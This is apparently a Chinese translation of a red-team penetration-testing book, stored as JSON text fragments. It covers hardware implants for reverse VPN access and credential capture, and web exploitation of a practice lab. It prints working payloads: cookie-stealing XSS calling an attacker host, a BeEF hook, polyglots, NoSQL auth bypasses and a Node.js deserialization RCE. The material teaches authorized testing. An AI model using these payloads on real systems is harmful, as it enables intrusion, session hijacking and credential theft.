更新你的 LAN TURTLE 更改 MAC 地址很重要。 LAN Turtle 使用类似制造商的 MAC 地址，所以你要做些修改来确保你看起来像个随机的设备： 更改你的 MAC 地址 安装 OpenVPN : 选择 Modules -> Select -> Configure -> Directory ，然后点击确定 安装 OpenVPN 设置你的 OpenVPN 配置文件： 返回 Modules-> OpenVPN -> configure->粘贴所有来自 turtle.opvn 的内容并保存 我们还希望确保 LAN Turtle OpenVPN 服务器在服务器启动时自动开启运行： 选择 Modules-> OpenVPN ->Enable 最后，我们需要修改 LAN Turtle 上的防火墙规则： 退出 Turtle 菜单并编辑防火墙规则(使用 nano 文本编辑器编辑 /etc/config/firewall 文件) nano /etc/config/firewall 接着，在文件中修改 vpn 这一部分的设置 确保“option forward”设置为“ACCEPT” 添加以下配置转发规则： 配置转发 option src wan option dest lan 配置转发 option src vpn option dest wan 配置转发 option src wan option dest vpn 重新回到 Turtle 菜单 -> Modules -> openvpn -> start 上面的操作应该会启动我们的 Turtle 上的 OpenVPN 客户端。"},
    {"text": "让我们通过一个例子来感受一下这个过程： 从 Kali 攻击主机访问 VPN 服务器： openvpn -config ./redteam.ovpn 获取对方所在网络的IP地址，以便从我们的 redteam vpn 传输所有流量。"},
    {"text": "在我们的示例中，Turtle 所在的网络是 10.100.100.0/24 最后，开启流量转发： 返回 OpenVPN AS并编辑 lanturtle 这个用户 用户权限（User Permissions）页面->搜索用户名 lanturtle->显示 将 VPN 网关编辑为“是”并添加内部范围（例如 10.100.100.0/24） 保存并更新 通过 LAN Turtle 上的 SSH 连接，使用 reboot 命令重启 现在，我们可以让攻击机透过在 LAN Turtle 上架设的 VPN 通道，将我们的所有流量传输到受害者公司内网。"},
    {"text": "在本例中，我们使用了443端口，在许多环境中，这个端口可以和外网通信。 对于使用 Web 代理的某些公司网络，可能会阻止通过 443 端口直接连接外网。"},
    {"text": "Packet Squirrel Packet Squirrel 使用 Micro-USB 接口充电，但是并非是通过 USB 接口那一端插入有线 USB 网卡，Packet Squirrel 两端都接网线，这是另一种捕获流量或创建 VPN 连接的方式。"},
    {"text": "编辑 /root/payloads/switch3/payload.sh FOR_CLIENTS=1 编辑 /etc/config/firewall 对防火墙进行当时你为 LAN Turtle 所做的完全相同的更改 将 LANTurtle.ovpn 文件上传到 /root/payloads/switch3/config.ovpn 现在你有了另一个和 LAN Turtle 有类似功能的设备，一旦连接到网络，就会有一个反向的 VPN 连接，从你这儿连接回对方公司。"},
    {"text": "对了，你还可以对 Packet Squirrel 进行自己的升级和优化，如果你把它琢磨透了的话，就可以用 SWORD（software optimization for the retrieval of data， 数据检索软件优化）轻松地将 Packet Squirrel 转换为基于 OpenWRT 的渗透测试工具箱（ https://medium.com/@tomac/a-15-openwrt-based-diy-pen-test-dropbox-26a98a5fa5e5 ）。"},
    {"text": "参考资源： https://www.hak5.org/episodes/hak5-1921-access-internal-networks-with-reverse-vpn-connections http://www.ubuntuboss.com/how-to-install-openvpn-access-server-on-ubuntu-15-10/ https://trick77.com/how-to-set-up-transparent-vpn-internet-gateway-tunnel-openvpn/ https://www.hak5.org/gear/packet-squirrel/docs Bash Bunny 前书中我们讨论了 Rubber Ducky 以及它是如何模拟 HID 设备（如键盘）来存储命令。"},
    {"text": "对红队成员而言，Rubber Ducky 仍然是个不错的工具，因为它可以加速 PowerShell 命令的传递，用于社会工程学攻击，并且可以在没有键盘但有 USB 插槽的柜台系统（如 ATM 机、自动售货机等）上做出入侵操作。"},
    {"text": "我们把这些窃取到的 cookie 保存到我们的攻击者笔记本电脑，将我们的攻击者笔记本电脑连接到他们的网络，用本地保存的窃取到的 cookie 来替换敏感 Web 应用程序中现在的cookie，这样我们就在不知道密码的情况下获取了这些 Web 应用程序的访问权限。"},
    {"text": "在 Kali 环境下设置 Bash Bunny 下载最新固件： https://bashbunny.com/downloads 将 Bash Bunny 的开关3（最靠近 USB 端口那个）设置为启用模式。 将下载的固件放在 USB 挂载的根目录， 拔出 Bash Bunny，再重新插入，然后等待大约 10 分钟，直到它呈蓝色闪烁。"},
    {"text": "# System default payload LED B SLOW ATTACKMODE ECM_ETHERNET STORAGE 拔出你的设备 在你的 Kali 系统中，设置 Internet 共享： wget bashbunny.com/bb.sh chmod +x bb.sh ./bb.sh Guided Mode（所以选项都保留默认值） 在 Bash Bunny 上，打开开关1（离 USB 插孔最远的那个开关）上，然后插入。"},
    {"text": "完成后，请确保连接到 Bash Bunny，在那里你可以看到 Cloud <-> Laptop <-> Bunny image 在你的 Kali 机器上，用密码 hak5bunny 通过 SSH 进入 Bash Bunny 登陆进入你的 Bash Bunny 在你的 Kali 机器上，用密码 hak5bunny 通过 SSH 进入 Bash Bunny ssh root@172.16.64.1 让我们更新 Bash Bunny 并安装一些工具 apt-get update apt-get upgrade export GIT_SSL_NO_VERIFY=1 git clone https://github.com/lgandx/Responder.git/tools/responder git clone https://github.com/CoreSecurity/impacket.git/tools/impacket cd /tools/impacket && python ./setup.py install apt-get -y install dsniff 在 Kali 机器的另一个终端上，安装你想要的所有模块。"},
    {"text": "git clone https://github.com/hak5/bashbunny-payloads.git /opt/bashbunny-payloads 你可以选择任何类型的 payload ，但是在我们的例子中，我们将使用 BunnyTap 和 QuickCreds 这两个 payload 来设置 Bash Bunny cp -R /opt/bashbunnypayloads/payloads/library/credentials/BunnyTap/* /media/root/BashBunny/payloads/switch1/ cp -R /opt/bashbunnypayloads/payloads/library/credentials/QuickCreds/* /media/root/BashBunny/payloads/switch2/ 注意，在 switch1 和 switch2 文件夹中都有一个名为 payload.txt 的文件。"},
    {"text": "译者注: 如若不懂“NTLMv2 Challenge 哈希”，可以参考此篇： Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 介绍 参考资料： https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/QuickCreds https://room362.com/post/2016/snagging-creds-from-locked-machines/ BunnyTap BunnyTap 基于由 Samy Kamkar 开发的知名工具 PoisonTap ( https://www.youtube.com/watch?v=Aatp5gCskvk )。"},
    {"text": "请务必查看所有 Bash Bunny 的 payload： https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library WiFi WiFi 攻击方面，我们攻击受害者的方式没有什么大变化。"},
    {"text": "关于发动 WiFi 攻击的装备，除了使用一对 Alfa 无线网卡，执行更加隐蔽的 WiFi 攻击的简单方法是使用 WiFi Pineapple Nano 。 如果你想建立一个假的主无线接入点，通过天线改变他们流量的通信路径，用伪造页面捕获身份验证，执行所有的中间人攻击，运行 Responder 和其他攻击的话，WiFi Pineapple Nano 是一个能执行此操作的轻量级硬件工具。"},
    {"text": "eaphammer 最好的地方是使用自定义攻击功能来执行 responder 攻击或捕获 NTLM challange 身份验证哈希以进行破解( https://github.com/s0lst1c3/eaphammer#iii---stealing-ad-credentials-using-hostile-portal-attacks ) 以及间接的无线枢轴( https://github.com/s0lst1c3/eaphammer#iv---indirect-wireless-pivots )。"},
    {"text": "为避免读者没看到上面的注释，所以译者再次注: 如若不懂“NTLMv2 Challenge 哈希”，可以参考此篇： Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 介绍 本章总结 物理攻击是最有趣的事情之一。"},
    {"text": "最后要注意的是，在开始入侵行动之前，确保要有一个明确的攻击范围、一封入侵目标公司给你做的书面授权证明、首席安全官或物理设施安全负责人的电话号码，并确保与对方达成共识、进行合作。"},
    {"text": "看起来这可以创造一个可能很适合居住的环境，有海洋，有湖泊，有植物，甚至可能有生命... 伴随着对新生命和另一个可居住星球的向往，太空竞赛也成为事实了。"},
    {"text": "他们的老板已经知道了去年所有的重大安全攻击行为，所以他现在只想聘用最好的员工，这个公司是你要开展工作的地方... 如果你选择接受这个任务，那你就必须找到所有的内部和外部的漏洞，并且用最新的 exp 和组合漏洞，去看看他们的防御团队是否能够发现或阻止你。"},
    {"text": "在这场战斗中，你前期需要做大量的信息收集工作，去观察寻找他们外部基础设施的薄弱点，社工他们公司的员工，提升你的权限，获取内部网络的信息，在整个内网中进行漫游，并且能够最终窃取有关 KITT-3n 行星的系统和数据库的信息。"},
    {"text": "简而言之，你会经历确定渗透测试范围，然后对其进行详细的信息收集，下一步的漏洞挖掘，漏洞利用，以及后渗透阶段和最终的完成渗透测试报告等所有工作。"},
    {"text": "在传统的网络测试中，我们经常会用扫描器扫描漏洞，去寻找可利用的漏洞点和应用或者系统，可能会稍微的再进行一点深入的工作，去找到域管理员，最后写一份报告。"},
    {"text": "即使是在确定范围期间内，渗透测试也非常明确，首先测试评估期间是在一周或两周内，其次通常会向公司内部的安全团队进行结果公布，因为公司仍然需要渗透测试人员作为其安全软件开发周期(S-SDLC)不可或缺的组成部分。"},
    {"text": "现在，即使很多公司遵循安全软件开发生命周期，拥有漏洞防护程序，渗透测试人员，应急响应团队或应急程序，并且可能还有很多昂贵的安全防火墙，但他们仍然会有被入侵的威胁。"},
    {"text": "当你读完这本书时，我希望你把自己当作一名红队队员，并把注意力集中于以下几点： 应用程序的安全漏洞而不是信息技术的漏洞 模拟真实世界的入侵事件 为红队持续的发展做出极大努力 挑战所有的安全系统......提供真实的数据来证明安全漏洞。"},
    {"text": "第3章 抛传——Web 应用程序漏洞利用 第3章 抛传——Web 应用程序漏洞利用 第3章 抛传——Web 应用程序漏洞利用 译者： @Snowming 校对者： @鶇 、 @leitbogioro 、@哈姆太郎、@匿名jack、 @Victor Zhu 在过去几年中，我们看到了一些严重的、面向外部网络的 Web 攻击。"},
    {"text": "从 Apache Struts 2开发框架漏洞（尽管 Equifax 公司因 Apache Struts 2安全漏洞而造成数据泄露 还未被确认），到美国快餐公司 Panera Bread 数据泄露 ，到 Uber 信息泄露 ，攻击几乎波及了社会上的一切。"},
    {"text": "然而，一旦公司开始加强其外部网络环境并开始进行外部渗透测试，我们作为攻击者，就要转而针对“第8层”攻击 —— 将社会工程学攻击（网络钓鱼）作为第一切入点。"},
    {"text": "对于那些正在寻找非常详细的 Web 渗透测试方法的人，我总是建议从 OWASP 测试指南开始（ http://bit.ly/2GZbVZd 和 https://www.owasp.org/images/1/19/OTGv4.pdf ）。"},
    {"text": "在他们的 漏洞赏金平台 上，他们说明了挖洞指南、符合条件的域名、符合条件的漏洞、不包括的项目、如何报告漏洞和白帽子公开致谢: 如何向公司报告漏洞通常与寻找漏洞本身同样重要。"},
    {"text": "我以前有运营自己漏洞赏金平台，有一件事需要注意的是，我在平台上看到了一些情况，研究人员会在验证漏洞时过于深入目标系统（超过了正常验证漏洞的范围）。"},
    {"text": "例如包括在发现 SQL 注入后对数据库拖库，在接管子域后挂黑页填写他们认为有趣的内容，甚至在初始远程代码执行漏洞之后在生产环境中横向渗透。"},
    {"text": "这个虚拟机可以在以下网站免费下载: http://thehackerplaybook.com/get.php?type=csk-web 为搭建演示 Web 实验环境（客户支持系统）: 从以下位置下载本书的 VMWare 虚拟机： http://thehackerplaybook.com/get.php?type=csk-web 下载在实验环境里要用到的完整命令列表： https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt Bit.ly 链接： http://bit.ly/2qBDrFo 启动并登录 VM（虚拟机） 当 VM 完全启动时，它应该显示应用程序的当前 IP 地址。"},
    {"text": "由于这是一个托管在你自己系统上的 Web 应用程序，因此我们在攻击端 Kali 系统上创建一个主机名记录： 在我们的攻击端 Kali 虚拟机上，让我们编辑 host 文件以指向我们的存在漏洞的应用程序（客户支持系统），以便可以通过 hostname 和 IP 来引用应用程序： gedit /etc/hosts 添加客户支持系统虚拟机的 IP [客户支持系统的 IP]chat 现在，打开 Kali 的浏览器并访问 http://chat:3000/ 。"},
    {"text": "为了方便起见，我在这里列出了每个实验需要的所有命令： https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt 译者注： 译者在尝试复现此实验时，发现没有获取到 ipv4 地址，后来切换了一下网卡设置，把“桥接模式”改成 NAT 就解决了。"},
    {"text": "参考资料： https://github.com/cheetz/THP-ChatSupportSystem/issues/1 红队的 Web 应用程序攻击 前两本书着重于如何有效地测试 Web 应用程序 - 这一次会有所不同。"},
    {"text": "由于我的许多读者都试图进入安全领域，所以我想快速的提一件事：如果你想进行渗透测试工作，你至少要理解 OWASP Top 10 的方方面面，这是至关重要的。"},
    {"text": "虽然 Node.js 不是 Web 服务器，但它允许服务器（可以用 JavaScript 编程的东西）存在于实际 Web 客户端之外的环境中。 优点： 非常快 单线程 JavaScript 环境，可以充当独立的 Web 应用程序服务器 Node.js 不是协议；"},
    {"text": "它是一个用 JavaScript 编写的 Web 服务器 NPM 代码仓库拥有近50万个免费、可重用的 Node.js 代码包，这使它成为世界上最大的包管理器 随着 Node.js 在过去几年变得如此流行，对于渗透测试人员/红队成员来说，理解应该寻找什么突破口以及如何攻击这些应用程序是非常重要的。"},
    {"text": "[ https://www.bleepingcomputer.com/news/security/52-percent-of-all-javascript-npm-packages-could-have-been-hacked-via-weak-credentials/ ] 在下面的示例中，我们的实验室将使用 Node.js 作为应用程序的基础，它将使用 Express 框架 作为我们的 Web 服务器。"},
    {"text": "设置你的 Web 应用程序攻击机器 虽然对于红队要面对的 Web 应用程序，并没有什么完美的入侵方法，但是你需要的一些基本工具包括： 用浏览器武装自己。"},
    {"text": "许多浏览器的行为都非常不同，尤其是复杂的 XSS 规避机制： Firefox（我的最爱） Chrome Safari Wappalyzer：一种跨平台的实用程序，可以揭示网站上使用的技术。"},
    {"text": "在查找页面时，BuiltWith 会返回它在页面上可以找到的所有技术。 BuiltWith 的目标是帮助开发人员，研究人员和设计人员找出正在使用的技术页面，这可以帮助他们决定自己采用哪些技术。"},
    {"text": "https://builtwith.com/ Retire.JS：扫描 Web 应用程序所使用的易受攻击的 JavaScript 库。 Retire.js 的目标是帮助你检测具有已知漏洞的版本的使用情况。"},
    {"text": "https://chrome.google.com/webstore/detail/retirejs/moibopkbhjceeedibkbkbchbjnkadmom? Burp Suite（约350美元）：虽然这个商业工具有点贵，但绝对物有所值，对于渗透测试人员和红队队员来说。"},
    {"text": "目标网址： http://chat:3000 字典： /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt GoBuster 非常轻量级、快速的目录和子域名爆破工具 gobuster -u http://chat:3000 -w /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt -s 200,301,307 -t 20 你的字典列表非常重要。"},
    {"text": "你可以在这里找到这些和其他有价值的字典列表： https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content （已包含在本书的 Kali 镜像中）。"},
    {"text": "使用传统的 XSS 攻击测试网站上的每个变量的方式： 我们都知道 XSS 攻击是客户端攻击，允许攻击者创建特定的 Web 请求从而将恶意代码注入响应中。"},
    {"text": "因为仅仅弹窗确实没有真正的危害，让我们从一些基本类型的 XSS 攻击开始： Cookie 窃取XSS： < script > document .write( '<img src=\"http//<YourIP>/Stealer.php?cookie=' % 2 B document .cookie % 2 B '\"/>' ); </ script > 强制下载文件： < script > var link = document .createElement( 'a' ); link.href = 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe' ; link.download = '' ; document .body.appendChild(link); link.click(); </ script > 重定向用户： < script > window .location = \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\" ; </ script > 其他脚本以启用键盘记录器，拍照等： http://www.xss-payloads.com/payloads-list.html?c#category=capture 经过混淆的 XSS payload 和 XSS Polyglot 现在，标准的 XSS payload 通常仍然有效，但我们确实会遇到一些应用程序过滤字符或应用程序有 WAF 防护的情况。 有两个很好的资源可以帮助你开始制作混淆的 XSS payload 攻击： https://github.com/foospidy/payloads/tree/master/other/xss https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet 有时在行动期间，你可能会遇到简单的 XSS 过滤器，它们会查找像 <script> 这样的字符串。 混淆 XSS payload 是一种选择，但一定要注意并非所有 JavaScript payload 都需要打开和关闭 <script> 标签。"},
    {"text": "例如，下列这些执行 JavaScript 的 HTML 事件属性就不使用 <script> 标签： <b onmouseover=alert('XSS')>Click Me!</b> <svg onload=alert(1)> <body onload=\"alert('XSS')\"> <img src=\"http://test.cyberspacekittens.com\" onerror=alert(document.cookie);> 你可以通过访问应用程序来尝试 CSK 应用程序中的每个 HTML 实体攻击： http://chat:3000/ （记得修改 /etc/host 文件以指向与虚拟机 IP 的聊天）。"},
    {"text": "因此，我们可以像（ http://bit.ly/2GXxqxH ）这样构建一个 Polyglot，而不是普通的 <script>alert(1)</script> ： /*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e 如果你看一下上面的 payload,此攻击试图不使用尖括号，点和斜线的传统攻击代码；"},
    {"text": "你可以在此处阅读有关这些 Polyglot XSS 的更多信息： https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot 。 如果你想测试和使用不同的 polyglots，可以从易受攻击的 XSS 页面（ http://chat:3000/xss ）或整个聊天应用程序开始。"},
    {"text": "对红队来说，BeEF 是一个很好的工具，可用于入侵活动，跟踪用户，捕获凭据，执行点击劫持，使用 Tabna 进行攻击等等。 如果不在攻击期间使用，BeEF 也是一个很好的工具，可以展示 XSS 漏洞的强大功能。"},
    {"text": "要启动服务器： 在你的攻击者 Kali 主机上启动 BeEF 打开终端 beef-xss 使用 beef：beef 查看 http://127.0.0.1:3000/hook.js 完整 payload 文件： <script src=\"http://<Your IP>:3000/hook.js\"></script> 查看位于 http://127.0.0.1:3000/hook.js 上的 hook.js 文件，你应该会看到类似于长混淆的 JavaScript 文件的内容。"},
    {"text": "一旦在目标应用程序上识别出 XSS，而不是原始的 alert(1) 样式的 payload，就可以修改 <script src =\"http://<YourIP>:3000/hook.js\"></script> payload 来利用此漏洞。"},
    {"text": "在我们的易受攻击的聊天支持系统的应用程序中，你可以访问 http://chat:3000/xss 并在练习2的字段中输入你的 payload： <script src=\"http://127.0.0.1:3000/hook.js\"></script> 一旦你的受害者连接到你的僵尸网络，你就可以完全控制他们的浏览器。"},
    {"text": "由于该数据的结果只能由管理员手动查看而不是用户请求查看，所以如果应用程序易受 XSS 攻击，攻击者不会立即看到他们的 “alert(1)” 攻击的回显。"},
    {"text": "XSSHunter 的工作原理是，当我们的 JavaScript payload 执行时，它将截取受害者屏幕（他们正在查看的当前页面）的屏幕截图，并将该数据发送回 XSSHunter 的站点。"},
    {"text": "XSS Hunter： 禁用任何代理（即 Burp Suite） 在 https://xsshunter.com 创建帐户 登录 https://xsshunter.com/app 转到 Payload 模块以获得你的 Payload 修改 payload 以适应你的攻击或使用它构建 Polyglot 检查 XSS hunter 以查看 payload 执行情况 基于 DOM 的 XSS 对反射 XSS 和存储 XSS 的理解相对简单。"},
    {"text": "查看易受攻击的 Web 应用程序，你应该能够看到聊天支持网站受到 XSS 攻击的流程： 创建一个帐户 登录 去聊天 尝试 <script>alert(1)</script> ，然后尝试一些更疯狂的 XSS 攻击！"},
    {"text": "例如，让我们将字符串分配给 Pug 模板格式的变量： - var title = \"This is the HTML Title\" - var THP = \"Hack the Planet\" h1 #{title} p The Hacker Playbook will teach you how to #{THP} 请注意， #{THP} 是 THP 之前分配的变量的占位符。"},
    {"text": "当上面的模板代码呈现为 HTML 时，它将如下所示： < h1 > This is the HTML Title </ h1 > < p > The Hacker Playbook will teach you how to Hack the Planet </ p > 幸运的是，在这种情况下，我们使用 #{} 字符串插值，这是 Pug 插值的转义版本。"},
    {"text": "此外，字符串插值（或变量插值，变量替换或变量扩展）是评估包含一个或多个占位符的字符串文字的过程，从而产生一个结果，其中占位符替换为其对应的值。"},
    {"text": "[ https://en.wikipedia.org/wiki/String_interpolation ] 在 Pug 隐藏和非转义字符串插值（ https://pugjs.org/language/interpolation.html ）： !{} - 非转义字符串插值 #{} - 转义字符串插值 * 虽然这是转义的，但如果直接通过 JavaScript 传递它仍然可能容易受到 XSS 的攻击 在 JavaScript 中，未转义的缓冲区代码以“!=”开头。"},
    {"text": "转到 http://chat:3000/xss ，然后单击练习＃1 Pug 模板源代码 p No results found for #{name1} 尝试输入并提交以下 payload ： 单击练习＃1并查看无结果输出 查看 HTML 响应（查看页面的源代码）： <script>alert(1)</script> 点击提交后，查看页面源代码（ctrl+u）并搜索“alert”一词。"},
    {"text": "任何基本的 XSS payload 都会触发此操作，例如： <script>alert(1)</script> 打开练习2 Pug 模板源代码 p No results found for !{name2} 尝试输入 payload： <script>alert(1)</script> 返回： <script>alert(1)</script> 点击提交后，我们应该看到弹出窗口。"},
    {"text": "我们可以使用直接的 JavaScript 代码，例如：alert(1)： 打开练习3 Pug 模板源代码 script. var user3 = #{name3}; p No results found for #{name3} 此模板将在 HTML 中进行转义，如下所示： <script> <p>No results found for [escaped user input]</p> </script> 尝试输入 payload： 1;alert(1); 点击提交后，我们应该看到弹出窗口。"},
    {"text": "顺便说一句，下面是一个小小的改变，正确的方法是在插值周围添加引号： Pug 模板源代码 script. var user3=\"#{name3}\" 练习4 在这个例子中，我们有 Pug 非转义代码 ，由 != 表示，因为没有转义，所以它很容易受到 XSS 的攻击。"},
    {"text": "如果我们可以在那里利用 JavaScript，我们就可以发现一个 XSS： 打开练习5 Pug 模板源代码 name5 = req.query.name5.replace(/[;’\"<>=]|alert/g,\"\") script. var user3 = #{name5}; 尝试输入 payload 你可以尝试 alert(1)，但由于过滤器不起作用。"},
    {"text": "JSF*ck Payload： [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() 如你所知，许多浏览器已开始包含 XSS 保护机制。"},
    {"text": "尽管有许多不同的方法可以做到这一点，但我们通常会发现，如果我们可以让用户在内容管理系统（CMS）或类似系统中获得管理员的 XSS，那么这可能会导致系统完全受损。"},
    {"text": "如果我们发现一个允许在没有身份验证的情况下就可以登入的 Web 应用程序，我们就可以向该服务器发送 payload。 例如，我们的目标可能是 Jenkins 服务器，我们知道如果可以未经身份验证登录的话，几乎可以完成远程代码执行。"},
    {"text": "NoSQL 功能： NoSQL 数据库的类型：Couch/MongoDB 非结构化数据 水平化增长 在传统的 SQL 注入中，攻击者会尝试破坏 SQL 查询语句并在服务器端修改查询语句。"},
    {"text": "在 NoSQL 注入中，在NoSQL注入中，通常存在将字符串解析或评估为NoSQL调用的漏洞。 NoSQL 注入中的漏洞通常在以下情况下发生：（1）端点接受的 JSON 数据是从 NoSQL 数据库中请求的，以及（2）我们能够使用 NoSQL 比较运算符操作查询来更改 NoSQL 查询。"},
    {"text": "这个 JSON 对象基本上是说运算符（ $gt ）大于 NULL(\"\")。 由于逻辑上一切都大于 NULL，因此 JSON 对象成为一个真正正确的语句，允许我们绕过或注入 NoSQL 查询。"},
    {"text": "在 MongoDB 中，我们可以使用以下条件运算符之一： (>)大于 - $gt (<)小于 - $lt (>=)大于等于 - $gte (<=)小于等于 - $lte 攻击客户支持系统 NoSQL 应用程序 首先，浏览聊天应用程序上的 NoSQL 工作流程： 在浏览器中，通过 Burp Suite 代理，访问聊天应用程序： http://chat:3000/nosql 尝试使用任何用户名和密码进行身份验证。"},
    {"text": "在我们的聊天应用程序中，我们将看到在对/loginnosql 端点进行身份验证期间，我们的 POST 数据将包含 { \"用户名\"：\"admin\"，\"密码\": \"GuessingAdminPassword\" } 。"},
    {"text": "因为作为黑盒测试，我们也看不到服务器端的源代码，我们可以期望它以某种方式查询 MongoDB 后端，类似于： db.collection(collection).find({\"username\":username,\"password\":password}).limit(1) ... 注入 NoSQL 聊天系统 正如我们从服务器端源代码中看到的那样，我们将使用用户提供的用户名/密码来搜索数据库以查找匹配项。"},
    {"text": "在浏览器中，通过 Burp Suite 代理，访问聊天应用程序： http://chat:3000/nosql 在 Burp Suite 中打开“拦截”，单击“登录”，然后以管理员身份提交用户名，并输入密码 GuessingAdminPassword 代理流量并拦截 POST 请求 {\"username\"：\"admin\"，\"password\"，\"GuessingAdminPassword\"} --> {\"username\"：\"admin\"，\"password\"：{\"$gt\"：\"\"}} 你现在应该可以以管理员身份登录！"},
    {"text": "这将 POST 请求更改为 {\"username\":\"admin\", \"password\":TRUE } ，它自动使请求为 TRUE 并以管理员身份登录而不需要知道密码，类似 SQLi 中的 1 = 1 攻击。"},
    {"text": "现在，qs 模块也将接受并转换 POST 参数以协助 NoSQLi： 例如，我们可以发出如下的 POST 请求： username=admin&password[$gt]= 服务器端请求转换将转换为： {\"username\": \"admin\", \"password\":{\"$gt\":\"\"} 现在看起来类似于传统的 NoSQLi 攻击。"},
    {"text": "让我们看看这个操作： 转到 http://chat:3000/nosql2 打开 Burp Intercept 使用 admin 登录： 修改 POST 参数： username=admin&password[$gt]=&submit=login 你应该可以使用 admin 登录了！"},
    {"text": "在这种情况下，NoSQLi POST 请求看起来像： username[$gt]=admin&password[$gt]=&submit=login 上面的 POST 请求实际上是在数据库中查询下一个大于 admin 的用户名，并使用密码字段生成一个 TRUE 语句。"},
    {"text": "更多 NoSQL Payload： https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection https://blog.websecurify.com/2014/08/hacking-nodejs-andmongodb.html https://www.owasp.org/index.php/Testing_for_NoSQL_injection 反序列化攻击 在过去的几年中，通过网络进行的序列化/反序列化攻击变得越来越流行。"},
    {"text": "我们在 BlackHat上看到了许多不同的讨论，发现了 Jenkins 和 Apache Struts2 等常见应用程序中的关键漏洞，并且正在开发像 ysoserial 这样工具的大量活跃研究。"},
    {"text": "可以发现这个 Node 库易受攻击，因为 “不受信任的数据被传递到 unserialize() 函数中，攻击者通过传递一个存在 Immediately Invoked Function Expression(IIFE)的 JavaScript 对象可以引起任意代码执行。"},
    {"text": "”（ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 ） 让我们逐步了解攻击的细节，以便更好地了解正在发生的事情。"},
    {"text": "其次，我们需要创建一个序列化的 payload，它将被反序列化，并通过我们的 JavaScript payload require('child_process').exec('ls') . {“thp”:“_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘DO SYSTEM COMMANDS HERE’, function(error, stdout, stderr) { console.log(stdout) });}()”} 上面的 JSON 对象将通过以下的请求 (){require('child_process').exec('ls')} 进入 unserialize 函数中的 eval 语句，为我们提供远程代码执行。"},
    {"text": "第一个发现此漏洞的研究员 Ajin Abraham 发现，使用立即调用的函数表达式或 IIFE（ https://en.wikipedia.org/wiki/Immediately-invoked_function_expression ）将允许在创建后执行该函数。"},
    {"text": "在我们的聊天应用程序示例中，我们将查看 cookie 值，该值正在使用此易受攻击的库进行反序列化： 转到 http://chat:3000 代理 burp 中的流量并查看 cookie 识别一个 cookie 名称“donotdecodeme” 将该 Cookie 复制到 Burp Suite Decoder 和 Base64 中进行解码 如前所述，每种语言都有其独特的地方，NodeJS 也不例外。"},
    {"text": "创建有效 payload 在开始之前，请记住实验中的所有这些 payload 都可以从这里复制粘贴： http://bit.ly/2qBDrFo 获取原始 payload 并修改你的 shell 执行“'DO SYSTEM COMMANDS HERE” { \"thp\" : \"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE', function(error, stdout, stderr) {console.log(stdout)});}\" } 例： { \"thp\" : \"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE', function(error, stdout, stderr) { console.log(stdout) });}()\" } 由于原始 Cookie 已编码，我们必须通过 Burp Decoder/Encoder 对我们的 payload 进行 base64编码 *示例 payload：eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxd 注销，打开Burp拦截，并转发/（home）请求 将 cookie 修改为新创建的 Base64 payload 转发流量，因为公用文件夹是/的路由，你应该能够打开浏览器并转到 http://chat:3000/hacked.txt 你现在可以进行远程执行代码！"},
